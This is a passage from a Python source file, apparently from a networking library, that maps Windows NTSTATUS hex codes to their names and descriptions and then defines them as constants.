(\"STATUS_IPSEC_DOSP_BLOCK\",\"IPsec Dos Protection matched an explicit block rule.\"),\n        0xC0368001: (\"STATUS_IPSEC_DOSP_RECEIVED_MULTICAST\",\"IPsec Dos Protection received an IPsec specific multicast packet which is not allowed.\"),\n        0xC0368002: (\"STATUS_IPSEC_DOSP_INVALID_PACKET\",\"IPsec Dos Protection received an incorrectly formatted packet.\"),\n        0xC0368003: (\"STATUS_IPSEC_DOSP_STATE_LOOKUP_FAILED\",\"IPsec Dos Protection failed to lookup state.\"),\n        0xC0368004: (\"STATUS_IPSEC_DOSP_MAX_ENTRIES\",\"IPsec Dos Protection failed to create state because there are already maximum number of entries allowed by policy.\"),\n        0xC0368005: (\"STATUS_IPSEC_DOSP_KEYMOD_NOT_ALLOWED\",\"IPsec Dos Protection received an IPsec negotiation packet for a keying module which is not allowed by policy.\"),\n        0xC0368006: (\"STATUS_IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES\",\"IPsec Dos Protection failed to create per internal IP ratelimit queue because there is already maximum number of queues allowed by policy.\"),\n        0xC038005B: (\"STATUS_VOLMGR_MIRROR_NOT_SUPPORTED\",\"The system does not support mirrored volumes.\"),\n        0xC038005C: (\"STATUS_VOLMGR_RAID5_NOT_SUPPORTED\",\"The system does not support RAID-5 volumes.\"),\n        0xC03A0014: (\"STATUS_VIRTDISK_PROVIDER_NOT_FOUND\",\"A virtual disk support provider for the specified file was not found.\"),\n        0xC03A0015: (\"STATUS_VIRTDISK_NOT_VIRTUAL_DISK\",\"The specified disk is not a virtual disk.\"),\n        0xC03A0016: (\"STATUS_VHD_PARENT_VHD_ACCESS_DENIED\",\"The chain of virtual hard disks is inaccessible. The process has not been granted access rights to the parent virtual hard disk for the differencing disk.\"),\n        0xC03A0017: (\"STATUS_VHD_CHILD_PARENT_SIZE_MISMATCH\",\"The chain of virtual hard disks is corrupted. There is a mismatch in the virtual sizes of the parent virtual hard disk and differencing disk.\"),\n        0xC03A0018: (\"STATUS_VHD_DIFFERENCING_CHAIN_CYCLE_DETECTED\",\"The chain of virtual hard disks is corrupted. A differencing disk is indicated in its own parent chain.\"),\n        0xC03A0019: (\"STATUS_VHD_DIFFERENCING_CHAIN_ERROR_IN_PARENT\",\"The chain of virtual hard disks is inaccessible. There was an error opening a virtual hard disk further up the chain.\"),\n}\n\n# Error Codes\n\nSTATUS_SUCCESS                                                    = 0x00000000\nSTATUS_WAIT_1                                                     = 0x00000001\nSTATUS_WAIT_2                                                     = 0x00000002\nSTATUS_WAIT_3                                                     = 0x00000003\nSTATUS_WAIT_63                                                    = 0x0000003F\nSTATUS_ABANDONED                                                  = 0x00000080\nSTATUS_ABANDONED_WAIT_0                                           = 0x00000080\nSTATUS_ABANDONED_WAIT_63                                          = 0x000000BF\nSTATUS_USER_APC                                                   = 0x000000C0\nSTATUS_ALERTED                                                    = 0x00000101\nSTATUS_TIMEOUT                                                    = 0x00000102\nSTATUS_PENDING                                                    = 0x00000103\nSTATUS_REPARSE                                                    = 0x00000104\nSTATUS_MORE_ENTRIES                                               = 0x00000105\nSTATUS_NOT_ALL_ASSIGNED                                           = 0x00000106\nSTATUS_SOME_NOT_MAPPED                                            = 0x00000107\nSTATUS_OPLOCK_BREAK_IN_PROGRESS                                   = 0x00000108\nSTATUS_VOLUME_MOUNTED                                             = 0x00000109\nSTATUS_RXACT_COMMITTED                                            = 0x0000010A\nSTATUS_NOTIFY_CLEANUP                                             = 0x0000010B\nSTATUS_NOTIFY_ENUM_DIR                                            = 0x0000010C\nSTATUS_NO_QUOTAS_FOR_ACCOUNT                                      = 0x0000010D\nSTATUS_PRIMARY_TRANSPORT_CONNECT_FAILED                           = 0x0000010E\nSTATUS_PAGE_FAULT_TRANSITION                                      = 0x00000110\nSTATUS_PAGE_FAULT_DEMAND_ZERO                                     = 0x00000111\nSTATUS_PAGE_FAULT_COPY_ON_WRITE                                   = 0x00000112\nSTATUS_PAGE_FAULT_GUARD_PAGE                                      = 0x00000113\nSTATUS_PAGE_FAULT_PAGING_FILE                                     = 0x00000114\nSTATUS_CACHE_PAGE_LOCKED                                          = 0x00000115\nSTATUS_CRASH_DUMP                                                 = 0x00000116\nSTATUS_BUFFER_ALL_ZEROS                                           = 0x00000117\nSTATUS_REPARSE_OBJECT                                             = 0x00000118\nSTATUS_RESOURCE_REQUIREMENTS_CHANGED                              = 0x00000119\nSTATUS_TRANSLATION_COMPLETE                                       = 0x00000120\nSTATUS_DS_MEMBERSHIP_EVALUATED_LOCALLY                            = 0x00000121\nSTATUS_NOTHING_TO_TERMINATE                                       = 0x00000122\nSTATUS_PROCESS_NOT_IN_JOB                                         = 0x00000123\nSTATUS_PROCESS_IN_JOB                                             = 0x00000124\nSTATUS_VOLSNAP_HIBERNATE_READY                                    = 0x00000125\nSTATUS_FSFILTER_OP_COMPLETED_SUCCESSFULLY                         = 0x00000126\nSTATUS_INTERRUPT_VECTOR_ALREADY_CONNECTED                         = 0x00000127\nSTATUS_INTERRUPT_STILL_CONNECTED                                  = 0x00000128\nSTATUS_PROCESS_CLONED                                             = 0x00000129\nSTATUS_FILE_LOCKED_WITH_ONLY_READERS                              = 0x0000012A\nSTATUS_FILE_LOCKED_WITH_WRITERS                                   = 0x0000012B\nSTATUS_RESOURCEMANAGER_READ_ONLY                                  = 0x00000202\nSTATUS_WAIT_FOR_OPLOCK                                            = 0x00000367\nDBG_EXCEPTION_HANDLED                                             = 0x00010001\nDBG_CONTINUE                                                      = 0x00010002\nSTATUS_FLT_IO_COMPLETE                                            = 0x001C0001\nSTATUS_SMB_BAD_UID                                                = 0x005B0002\nSTATUS_FILE_NOT_AVAILABLE                                         = 0xC0000467\nSTATUS_CALLBACK_RETURNED_THREAD_AFFINITY                          = 0xC0000721\nSTATUS_OBJECT_NAME_EXISTS                                         = 0x40000000\nSTATUS_THREAD_WAS_SUSPENDED                                       = 0x40000001\nSTATUS_WORKING_SET_LIMIT_RANGE                                    = 0x40000002\nSTATUS_IMAGE_NOT_AT_BASE                                          = 0x40000003\nSTATUS_RXACT_STATE_CREATED                                        = 0x40000004\nSTATUS_SEGMENT_NOTIFICATION                                       = 0x40000005\nSTATUS_LOCAL_USER_SESSION_KEY                                     = 0x40000006\nSTATUS_BAD_CURRENT_DIRECTORY                                      = 0x40000007\nSTATUS_SERIAL_MORE_WRITES                                         = 0x40000008\nSTATUS_REGISTRY_RECOVERED                                         = 0x40000009\nSTATUS_FT_READ_RECOVERY_FROM_BACKUP                               = 0x4000000A\nSTATUS_FT_WRITE_RECOVERY                                          = 0x4000000B\nSTATUS_SERIAL_COUNTER_TIMEOUT                                     = 0x4000000C\nSTATUS_NULL_LM_PASSWORD                                           = 0x4000000D\nSTATUS_IMAGE_MACHINE_TYPE_MISMATCH                                = 0x4000000E\nSTATUS_RECEIVE_PARTIAL                                            = 0x4000000F\nSTATUS_RECEIVE_EXPEDITED                                          = 0x40000010\nSTATUS_RECEIVE_PARTIAL_EXPEDITED                                  = 0x40000011\nSTATUS_EVENT_DONE                                                 = 0x40000012\nSTATUS_EVENT_PENDING                                              = 0x40000013\nSTATUS_CHECKING_FILE_SYSTEM                                       = 0x40000014\nSTATUS_FATAL_APP_EXIT                                             = 0x40000015\nSTATUS_PREDEFINED_HANDLE                                          = 0x40000016\nSTATUS_WAS_UNLOCKED                                               = 0x40000017\nSTATUS_SERVICE_NOTIFICATION                                       = 0x40000018\nSTATUS_WAS_LOCKED                                                 = 0x40000019\nSTATUS_LOG_HARD_ERROR                                             = 0x4000001A\nSTATUS_ALREADY_WIN32                                              = 0x4000001B\nSTATUS_WX86_UNSIMULATE                                            = 0x4000001C\nSTATUS_WX86_CONTINUE                                              = 0x4000001D\nSTATUS_WX86_SINGLE_STEP                                           = 0x4000001E\nSTATUS_WX86_BREAKPOINT                                            = 0x4000001F\nSTATUS_WX86_EXCEPTION_CONTINUE                                    = 0x40000020\nSTATUS_WX86_EXCEPTION_LASTCHANCE                                  = 0x40000021\nSTATUS_WX86_EXCEPTION_CHAIN                                       = 0x40000022\nSTATUS_IMAGE_MACHINE_TYPE_MISMATCH_EXE                            = 0x40000023\nSTATUS_NO_YIELD_PERFORMED                                         = 0x40000024\nSTATUS_TIMER_RESUME_IGNORED                                       = 0x40000025\nSTATUS_ARBITRATION_UNHANDLED                                      = 0x40000026\nSTATUS_CARDBUS_NOT_SUPPORTED                                      = 0x40000027\nSTATUS_WX86_CREATEWX86TIB                                         = 0x40000028\nSTATUS_MP_PROCESSOR_MISMATCH                                      = 0x40000029\nSTATUS_HIBERNATED                                                 = 0x4000002A\nSTATUS_RESUME_HIBERNATION                                         = 0x4000002B\nSTATUS_FIRMWARE_UPDATED                                           = 0x4000002C\nSTATUS_DRIVERS_LEAKING_LOCKED_PAGES                               = 0x4000002D\nSTATUS_MESSAGE_RETRIEVED                                          = 0x4000002E\nSTATUS_SYSTEM_POWERSTATE_TRANSITION                               = 0x4000002F\nSTATUS_ALPC_CHECK_COMPLETION_LIST                                 = 0x40000030\nSTATUS_SYSTEM_POWERSTATE_COMPLEX_TRANSITION                       = 0x40000031\nSTATUS_ACCESS_AUDIT_BY_POLICY                                     = 0x40000032\nSTATUS_ABANDON_HIBERFILE                                          = 0x40000033\nSTATUS_BIZRULES_NOT_ENABLED                                       = 0x40000034\nSTATUS_WAKE_SYSTEM                                                = 0x40000294\nSTATUS_DS_SHUTTING_DOWN                                           = 0x40000370\nDBG_REPLY_LATER                                                   = 0x40010001\nDBG_UNABLE_TO_PROVIDE_HANDLE                                      = 0x40010002\nDBG_TERMINATE_THREAD                                              = 0x40010003\nDBG_TERMINATE_PROCESS                                             = 0x40010004\nDBG_CONTROL_C                                                     = 0x40010005\nDBG_PRINTEXCEPTION_C                                              = 0x40010006\nDBG_RIPEXCEPTION                                                  = 0x40010007\nDBG_CONTROL_BREAK                                                 = 0x40010008\nDBG_COMMAND_EXCEPTION                                             = 0x40010009\nRPC_NT_UUID_LOCAL_ONLY                                            = 0x40020056\nRPC_NT_SEND_INCOMPLETE                                            = 0x400200AF\nSTATUS_CTX_CDM_CONNECT                                            = 0x400A0004\nSTATUS_CTX_CDM_DISCONNECT                                         = 0x400A0005\nSTATUS_SXS_RELEASE_ACTIVATION_CONTEXT                             = 0x4015000D\nSTATUS_RECOVERY_NOT_NEEDED                                        = 0x40190034\nSTATUS_RM_ALREADY_STARTED                                         = 0x40190035\nSTATUS_LOG_NO_RESTART                                             = 0x401A000C\nSTATUS_VIDEO_DRIVER_DEBUG_REPORT_REQUEST                          = 0x401B00EC\nSTATUS_GRAPHICS_PARTIAL_DATA_POPULATED                            = 0x401E000A\nSTATUS_GRAPHICS_DRIVER_MISMATCH                                   = 0x401E0117\nSTATUS_GRAPHICS_MODE_NOT_PINNED                                   = 0x401E0307\nSTATUS_GRAPHICS_NO_PREFERRED_MODE                                 = 0x401E031E\nSTATUS_GRAPHICS_DATASET_IS_EMPTY                                  = 0x401E034B\nSTATUS_GRAPHICS_NO_MORE_ELEMENTS_IN_DATASET                       = 0x401E034C\nSTATUS_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_PINNED   = 0x401E0351\nSTATUS_GRAPHICS_UNKNOWN_CHILD_STATUS                              = 0x401E042F\nSTATUS_GRAPHICS_LEADLINK_START_DEFERRED                           = 0x401E0437\nSTATUS_GRAPHICS_POLLING_TOO_FREQUENTLY                            = 0x401E0439\nSTATUS_GRAPHICS_START_DEFERRED                                    = 0x401E043A\nSTATUS_NDIS_INDICATION_REQUIRED                                   = 0x40230001\nSTATUS_GUARD_PAGE_VIOLATION                                       = 0x80000001\nSTATUS_DATATYPE_MISALIGNMENT                                      = 0x80000002\nSTATUS_BREAKPOINT                                                 = 0x80000003\nSTATUS_SINGLE_STEP                                                = 0x80000004\nSTATUS_BUFFER_OVERFLOW                                            = 0x80000005\nSTATUS_NO_MORE_FILES                                              = 0x80000006\nSTATUS_WAKE_SYSTEM_DEBUGGER                                       = 0x80000007\nSTATUS_HANDLES_CLOSED                                             = 0x8000000A\nSTATUS_NO_INHERITANCE                                             = 0x8000000B\nSTATUS_GUID_SUBSTITUTION_MADE                                     = 0x8000000C\nSTATUS_PARTIAL_COPY                                               = 0x8000000D\nSTATUS_DEVICE_PAPER_EMPTY                                         = 0x8000000E\nSTATUS_DEVICE_POWERED_OFF                                         = 0x8000000F\nSTATUS_DEVICE_OFF_LINE                                            = 0x80000010\nSTATUS_DEVICE_BUSY                                                = 0x80000011\nSTATUS_NO_MORE_EAS                                                = 0x80000012\nSTATUS_INVALID_EA_NAME                                            = 0x80000013\nSTATUS_EA_LIST_INCONSISTENT                                       = 0x80000014\nSTATUS_INVALID_EA_FLAG                                            = 0x80000015\nSTATUS_VERIFY_REQUIRED                                            = 0x80000016\nSTATUS_EXTRANEOUS_INFORMATION                                     = 0x80000017\nSTATUS_RXACT_COMMIT_NECESSARY                                     = 0x80000018\nSTATUS_NO_MORE_ENTRIES                                            = 0x8000001A\nSTATUS_FILEMARK_DETECTED                                          = 0x8000001B\nSTATUS_MEDIA_CHANGED                                              = 0x8000001C\nSTATUS_BUS_RESET                                                  = 0x8000001D\nSTATUS_END_OF_MEDIA                                               = 0x8000001E\nSTATUS_BEGINNING_OF_MEDIA                                         = 0x8000001F\nSTATUS_MEDIA_CHECK                                                = 0x80000020\nSTATUS_SETMARK_DETECTED                                           = 0x80000021\nSTATUS_NO_DATA_DETECTED                                           = 0x80000022\nSTATUS_REDIRECTOR_HAS_OPEN_HANDLES                                = 0x80000023\nSTATUS_SERVER_HAS_OPEN_HANDLES                                    = 0x80000024\nSTATUS_ALREADY_DISCONNECTED                                       = 0x80000025\nSTATUS_LONGJUMP                                                   = 0x80000026\nSTATUS_CLEANER_CARTRIDGE_INSTALLED                                = 0x80000027\nSTATUS_PLUGPLAY_QUERY_VETOED                                      = 0x80000028\nSTATUS_UNWIND_CONSOLIDATE                                         = 0x80000029\nSTATUS_REGISTRY_HIVE_RECOVERED                                    = 0x8000002A\nSTATUS_DLL_MIGHT_BE_INSECURE                                      = 0x8000002B\nSTATUS_DLL_MIGHT_BE_INCOMPATIBLE                                  = 0x8000002C\nSTATUS_STOPPED_ON_SYMLINK                                         = 0x8000002D\nSTATUS_DEVICE_REQUIRES_CLEANING                                   = 0x80000288\nSTATUS_DEVICE_DOOR_OPEN                                           = 0x80000289\nSTATUS_DATA_LOST_REPAIR                                           = 0x80000803\nDBG_EXCEPTION_NOT_HANDLED                                         = 0x80010001\nSTATUS_CLUSTER_NODE_ALREADY_UP                                    = 0x80130001\nSTATUS_CLUSTER_NODE_ALREADY_DOWN                                  = 0x80130002\nSTATUS_CLUSTER_NETWORK_ALREADY_ONLINE                             = 0x80130003\nSTATUS_CLUSTER_NETWORK_ALREADY_OFFLINE                            = 0x80130004\nSTATUS_CLUSTER_NODE_ALREADY_MEMBER                                = 0x80130005\nSTATUS_COULD_NOT_RESIZE_LOG                                       = 0x80190009\nSTATUS_NO_TXF_METADATA                                            = 0x80190029\nSTATUS_CANT_RECOVER_WITH_HANDLE_OPEN                              = 0x80190031\nSTATUS_TXF_METADATA_ALREADY_PRESENT                               = 0x80190041\nSTATUS_TRANSACTION_SCOPE_CALLBACKS_NOT_SET                        = 0x80190042\nSTATUS_VIDEO_HUNG_DISPLAY_DRIVER_THREAD_RECOVERED                 = 0x801B00EB\nSTATUS_FLT_BUFFER_TOO_SMALL                                       = 0x801C0001\nSTATUS_FVE_PARTIAL_METADATA                                       = 0x80210001\nSTATUS_FVE_TRANSIENT_STATE                                        = 0x80210002\nSTATUS_UNSUCCESSFUL                                               = 0xC0000001\nSTATUS_NOT_IMPLEMENTED                                            = 0xC0000002\nSTATUS_INVALID_INFO_CLASS                                         = 0xC0000003\nSTATUS_INFO_LENGTH_MISMATCH                                       = 0xC0000004\nSTATUS_ACCESS_VIOLATION                                           = 0xC0000005\nSTATUS_IN_PAGE_ERROR                                              = 0xC0000006\nSTATUS_PAGEFILE_QUOTA                                             = 0xC0000007\nSTATUS_INVALID_HANDLE                                             = 0xC0000008\nSTATUS_BAD_INITIAL_STACK                                          = 0xC0000009\nSTATUS_BAD_INITIAL_PC                                             = 0xC000000A\nSTATUS_INVALID_CID                                                = 0xC000000B\nSTATUS_TIMER_NOT_CANCELED                                         = 0xC000000C\nSTATUS_INVALID_PARAMETER                                          = 0xC000000D\nSTATUS_NO_SUCH_DEVICE                                             = 0xC000000E\nSTATUS_NO_SUCH_FILE                                               = 0xC000000F\nSTATUS_INVALID_DEVICE_REQUEST                                     = 0xC0000010\nSTATUS_END_OF_FILE                                                = 0xC0000011\nSTATUS_WRONG_VOLUME                                               = 0xC0000012\nSTATUS_NO_MEDIA_IN_DEVICE                                         = 0xC0000013\nSTATUS_UNRECOGNIZED_MEDIA                                         = 0xC0000014\nSTATUS_NONEXISTENT_SECTOR                                         = 0xC0000015\nSTATUS_MORE_PROCESSING_REQUIRED                                   = 0xC0000016\nSTATUS_NO_MEMORY                                                  = 0xC0000017\nSTATUS_CONFLICTING_ADDRESSES                                      = 0xC0000018\nSTATUS_NOT_MAPPED_VIEW                                            = 0xC0000019\nSTATUS_UNABLE_TO_FREE_VM                                          = 0xC000001A\nSTATUS_UNABLE_TO_DELETE_SECTION                                   = 0xC000001B\nSTATUS_INVALID_SYSTEM_SERVICE                                     = 0xC000001C\nSTATUS_ILLEGAL_INSTRUCTION                                        = 0xC000001D\nSTATUS_INVALID_LOCK_SEQUENCE                                      = 0xC000001E\nSTATUS_INVALID_VIEW_SIZE                                          = 0xC000001F\nSTATUS_INVALID_FILE_FOR_SECTION                                   = 0xC0000020\nSTATUS_ALREADY_COMMITTED                                          = 0xC0000021\nSTATUS_ACCESS_DENIED                                              = 0xC0000022\nSTATUS_BUFFER_TOO_SMALL                                           = 0xC0000023\nSTATUS_OBJECT_TYPE_MISMATCH                                       = 0xC0000024\nSTATUS_NONCONTINUABLE_EXCEPTION                                   = 0xC0000025\nSTATUS_INVALID_DISPOSITION                                        = 0xC0000026\nSTATUS_UNWIND                                                     = 0xC0000027\nSTATUS_BAD_STACK                                                  = 0xC0000028\nSTATUS_INVALID_UNWIND_TARGET                                      = 0xC0000029\nSTATUS_NOT_LOCKED                                                 = 0xC000002A\nSTATUS_PARITY_ERROR                                               = 0xC000002B\nSTATUS_UNABLE_TO_DECOMMIT_VM                                      = 0xC000002C\nSTATUS_NOT_COMMITTED                                              = 0xC000002D\nSTATUS_INVALID_PORT_ATTRIBUTES                                    = 0xC000002E\nSTATUS_PORT_MESSAGE_TOO_LONG                                      = 0xC000002F\nSTATUS_INVALID_PARAMETER_MIX                                      = 0xC0000030\nSTATUS_INVALID_QUOTA_LOWER                                        = 0xC0000031\nSTATUS_DISK_CORRUPT_ERROR                                         = 0xC0000032\nSTATUS_OBJECT_NAME_INVALID                                        = 0xC0000033\nSTATUS_OBJECT_NAME_NOT_FOUND                                      = 0xC0000034\nSTATUS_OBJECT_NAME_COLLISION                                      = 0xC0000035\nSTATUS_PORT_DISCONNECTED                                          = 0xC0000037\nSTATUS_DEVICE_ALREADY_ATTACHED                                    = 0xC0000038\nSTATUS_OBJECT_PATH_INVALID                                        = 0xC0000039\nSTATUS_OBJECT_PATH_NOT_FOUND                                      = 0xC000003A\nSTATUS_OBJECT_PATH_SYNTAX_BAD                                     = 0xC000003B\nSTATUS_DATA_OVERRUN                                               = 0xC000003C\nSTATUS_DATA_LATE_ERROR                                            = 0xC000003D\nSTATUS_DATA_ERROR                                                 = 0xC000003E\nSTATUS_CRC_ERROR                                                  = 0xC000003F\nSTATUS_SECTION_TOO_BIG                                            = 0xC0000040\nSTATUS_PORT_CONNECTION_REFUSED                                    = 0xC0000041\nSTATUS_INVALID_PORT_HANDLE                                        = 0xC0000042\nSTATUS_SHARING_VIOLATION                                          = 0xC0000043\nSTATUS_QUOTA_EXCEEDED                                             = 0xC0000044\nSTATUS_INVALID_PAGE_PROTECTION                                    = 0xC0000045\nSTATUS_MUTANT_NOT_OWNED                                           = 0xC0000046\nSTATUS_SEMAPHORE_LIMIT_EXCEEDED                                   = 0xC0000047\nSTATUS_PORT_ALREADY_SET                                           = 0xC0000048\nSTATUS_SECTION_NOT_IMAGE                                          = 0xC0000049\nSTATUS_SUSPEND_COUNT_EXCEEDED                                     = 0xC000004A\nSTATUS_THREAD_IS_TERMINATING                                      = 0xC000004B\nSTATUS_BAD_WORKING_SET_LIMIT                                      = 0xC000004C\nSTATUS_INCOMPATIBLE_FILE_MAP                                      = 0xC000004D\nSTATUS_SECTION_PROTECTION                                         = 0xC000004E\nSTATUS_EAS_NOT_SUPPORTED                                          = 0xC000004F\nSTATUS_EA_TOO_LARGE                                               = 0xC0000050\nSTATUS_NONEXISTENT_EA_ENTRY                                       = 0xC0000051\nSTATUS_NO_EAS_ON_FILE                                             = 0xC0000052\nSTATUS_EA_CORRUPT_ERROR                                           = 0xC0000053\nSTATUS_FILE_LOCK_CONFLICT                                         = 0xC0000054\nSTATUS_LOCK_NOT_GRANTED                                           = 0xC0000055\nSTATUS_DELETE_PENDING                                             = 0xC0000056\nSTATUS_CTL_FILE_NOT_SUPPORTED                                     = 0xC0000057\nSTATUS_UNKNOWN_REVISION                                           = 0xC0000058\nSTATUS_REVISION_MISMATCH                                          = 0xC0000059\nSTATUS_INVALID_OWNER                                              = 0xC000005A\nSTATUS_INVALID_PRIMARY_GROUP                                      = 0xC000005B\nSTATUS_NO_IMPERSONATION_TOKEN                                     = 0xC000005C\nSTATUS_CANT_DISABLE_MANDATORY                                     = 0xC000005D\nSTATUS_NO_LOGON_SERVERS                                           = 0xC000005E\nSTATUS_NO_SUCH_LOGON_SESSION                                      = 0xC000005F\nSTATUS_NO_SUCH_PRIVILEGE                                          = 0xC0000060\nSTATUS_PRIVILEGE_NOT_HELD                                         = 0xC0000061\nSTATUS_INVALID_ACCOUNT_NAME                                       = 0xC0000062\nSTATUS_USER_EXISTS                                                = 0xC0000063\nSTATUS_NO_SUCH_USER                                               = 0xC0000064\nSTATUS_GROUP_EXISTS                                               = 0xC0000065\nSTATUS_NO_SUCH_GROUP                                              = 0xC0000066\nSTATUS_MEMBER_IN_GROUP                                            = 0xC0000067\nSTATUS_MEMBER_NOT_IN_GROUP                                        = 0xC0000068\nSTATUS_LAST_ADMIN                                                 = 0xC0000069\nSTATUS_WRONG_PASSWORD                                             = 0xC000006A\nSTATUS_ILL_FORMED_PASSWORD                                        = 0xC000006B\nSTATUS_PASSWORD_RESTRICTION                                       = 0xC000006C\nSTATUS_LOGON_FAILURE                                              = 0xC000006D\nSTATUS_ACCOUNT_RESTRICTION                                        = 0xC000006E\nSTATUS_INVALID_LOGON_HOURS                                        = 0xC000006F\nSTATUS_INVALID_WORKSTATION                                        = 0xC0000070\nSTATUS_PASSWORD_EXPIRED                                           = 0xC0000071\nSTATUS_ACCOUNT_DISABLED                                           = 0xC0000072\nSTATUS_NONE_MAPPED                                                = 0xC0000073\nSTATUS_TOO_MANY_LUIDS_REQUESTED                                   = 0xC0000074\nSTATUS_LUIDS_EXHAUSTED                                            = 0xC0000075\nSTATUS_INVALID_SUB_AUTHORITY                                      = 0xC0000076\nSTATUS_INVALID_ACL                                                = 0xC0000077\nSTATUS_INVALID_SID                                                = 0xC0000078\nSTATUS_INVALID_SECURITY_DESCR                                     = 0xC0000079\nSTATUS_PROCEDURE_NOT_FOUND                                        = 0xC000007A\nSTATUS_INVALID_IMAGE_FORMAT                                       = 0xC000007B\nSTATUS_NO_TOKEN                                                   = 0xC000007C\nSTATUS_BAD_INHERITANCE_ACL                                        = 0xC000007D\nSTATUS_RANGE_NOT_LOCKED                                           = 0xC000007E\nSTATUS_DISK_FULL                                                  = 0xC000007F\nSTATUS_SERVER_DISABLED                                            = 0xC0000080\nSTATUS_SERVER_NOT_DISABLED                                        = 0xC0000081\nSTATUS_TOO_MANY_GUIDS_REQUESTED                                   = 0xC0000082\nSTATUS_GUIDS_EXHAUSTED                                            = 0xC0000083\nSTATUS_INVALID_ID_AUTHORITY                                       = 0xC0000084\nSTATUS_AGENTS_EXHAUSTED                                           = 0xC0000085\nSTATUS_INVALID_VOLUME_LABEL                                       = 0xC0000086\nSTATUS_SECTION_NOT_EXTENDED                                       = 0xC0000087\nSTATUS_NOT_MAPPED_DATA                                            = 0xC0000088\nSTATUS_RESOURCE_DATA_NOT_FOUND                                    = 0xC0000089\nSTATUS_RESOURCE_TYPE_NOT_FOUND                                    = 0xC000008A\nSTATUS_RESOURCE_NAME_NOT_FOUND                                    = 0xC000008B\nSTATUS_ARRAY_BOUNDS_EXCEEDED                                      = 0xC000008C\nSTATUS_FLOAT_DENORMAL_OPERAND                                     = 0xC000008D\nSTATUS_FLOAT_DIVIDE_BY_ZERO                                       = 0xC000008E\nSTATUS_FLOAT_INEXACT_RESULT                                       = 0xC000008F\nSTATUS_FLOAT_INVALID_OPERATION                                    = 0xC0000090\nSTATUS_FLOAT_OVERFLOW                                             = 0xC0000091\nSTATUS_FLOAT_STACK_CHECK                                          = 0xC0000092\nSTATUS_FLOAT_UNDERFLOW                                            = 0xC0000093\nSTATUS_INTEGER_DIVIDE_BY_ZERO                                     = 0xC0000094\nSTATUS_INTEGER_OVERFLOW                                           = 0xC0000095\nSTATUS_PRIVILEGED_INSTRUCTION                                     = 0xC0000096\nSTATUS_TOO_MANY_PAGING_FILES                                      = 0xC0000097\nSTATUS_FILE_INVALID                                               = 0xC0000098\nSTATUS_ALLOTTED_SPACE_EXCEEDED                                    = 0xC0000099\nSTATUS_INSUFFICIENT_RESOURCES                                     = 0xC000009A\nSTATUS_DFS_EXIT_PATH_FOUND                                        = 0xC000009B\nSTATUS_DEVICE_DATA_ERROR                                          = 0xC000009C\nSTATUS_DEVICE_NOT_CONNECTED                                       = 0xC000009D\nSTATUS_FREE_VM_NOT_AT_BASE                                        = 0xC000009F\nSTATUS_MEMORY_NOT_ALLOCATED                                       = 0xC00000A0\nSTATUS_WORKING_SET_QUOTA                                          = 0xC00000A1\nSTATUS_MEDIA_WRITE_PROTECTED                                      = 0xC00000A2\nSTATUS_DEVICE_NOT_READY                                           = 0xC00000A3\nSTATUS_INVALID_GROUP_ATTRIBUTES                                   = 0xC00000A4\nSTATUS_BAD_IMPERSONATION_LEVEL                                    = 0xC00000A5\nSTATUS_CANT_OPEN_ANONYMOUS                                        = 0xC00000A6\nSTATUS_BAD_VALIDATION_CLASS                                       = 0xC00000A7\nSTATUS_BAD_TOKEN_TYPE                                             = 0xC00000A8\nSTATUS_BAD_MASTER_BOOT_RECORD                                     = 0xC00000A9\nSTATUS_INSTRUCTION_MISALIGNMENT                                   = 0xC00000AA\nSTATUS_INSTANCE_NOT_AVAILABLE                                     = 0xC00000AB\nSTATUS_PIPE_NOT_AVAILABLE                                         = 0xC00000AC\nSTATUS_INVALID_PIPE_STATE                                         = 0xC00000AD\nSTATUS_PIPE_BUSY                                                  = 0xC00000AE\nSTATUS_ILLEGAL_FUNCTION                                           = 0xC00000AF\nSTATUS_PIPE_DISCONNECTED                                          = 0xC00000B0\nSTATUS_PIPE_CLOSING                                               = 0xC00000B1\nSTATUS_PIPE_CONNECTED                                             = 0xC00000B2\nSTATUS_PIPE_LISTENING                                             = 0xC00000B3\nSTATUS_INVALID_READ_MODE                                          = 0xC00000B4\nSTATUS_IO_TIMEOUT                                                 = 0xC00000B5\nSTATUS_FILE_FORCED_CLOSED                                         = 0xC00000B6\nSTATUS_PROFILING_NOT_STARTED                                      = 0xC00000B7\nSTATUS_PROFILING_NOT_STOPPED                                      = 0xC00000B8\nSTATUS_COULD_NOT_INTERPRET                                        = 0xC00000B9\nSTATUS_FILE_IS_A_DIRECTORY                                        = 0xC00000BA\nSTATUS_NOT_SUPPORTED                                              = 0xC00000BB\nSTATUS_REMOTE_NOT_LISTENING                                       = 0xC00000BC\nSTATUS_DUPLICATE_NAME                                             = 0xC00000BD\nSTATUS_BAD_NETWORK_PATH                                           = 0xC00000BE\nSTATUS_NETWORK_BUSY                                               = 0xC00000BF\nSTATUS_DEVICE_DOES_NOT_EXIST                                      = 0xC00000C0\nSTATUS_TOO_MANY_COMMANDS                                          = 0xC00000C1\nSTATUS_ADAPTER_HARDWARE_ERROR                                     = 0xC00000C2\nSTATUS_INVALID_NETWORK_RESPONSE                                   = 0xC00000C3\nSTATUS_UNEXPECTED_NETWORK_ERROR                                   = 0xC00000C4\nSTATUS_BAD_REMOTE_ADAPTER                                         = 0xC00000C5\nSTATUS_PRINT_QUEUE_FULL                                           = 0xC00000C6\nSTATUS_NO_SPOOL_SPACE                                             = 0xC00000C7\nSTATUS_PRINT_CANCELLED                                            = 0xC00000C8\nSTATUS_NETWORK_NAME_DELETED                                       = 0xC00000C9\nSTATUS_NETWORK_ACCESS_DENIED                                      = 0xC00000CA\nSTATUS_BAD_DEVICE_TYPE                                            = 0xC00000CB\nSTATUS_BAD_NETWORK_NAME                                           = 0xC00000CC\nSTATUS_TOO_MANY_NAMES                                             = 0xC00000CD\nSTATUS_TOO_MANY_SESSIONS                                          = 0xC00000CE\nSTATUS_SHARING_PAUSED                                             = 0xC00000CF\nSTATUS_REQUEST_NOT_ACCEPTED                                       = 0xC00000D0\nSTATUS_REDIRECTOR_PAUSED                                          = 0xC00000D1\nSTATUS_NET_WRITE_FAULT                                            = 0xC00000D2\nSTATUS_PROFILING_AT_LIMIT                                         = 0xC00000D3\nSTATUS_NOT_SAME_DEVICE                                            = 0xC00000D4\nSTATUS_FILE_RENAMED                                               = 0xC00000D5\nSTATUS_VIRTUAL_CIRCUIT_CLOSED                                     = 0xC00000D6\nSTATUS_NO_SECURITY_ON_OBJECT                                      = 0xC00000D7\nSTATUS_CANT_WAIT                                                  = 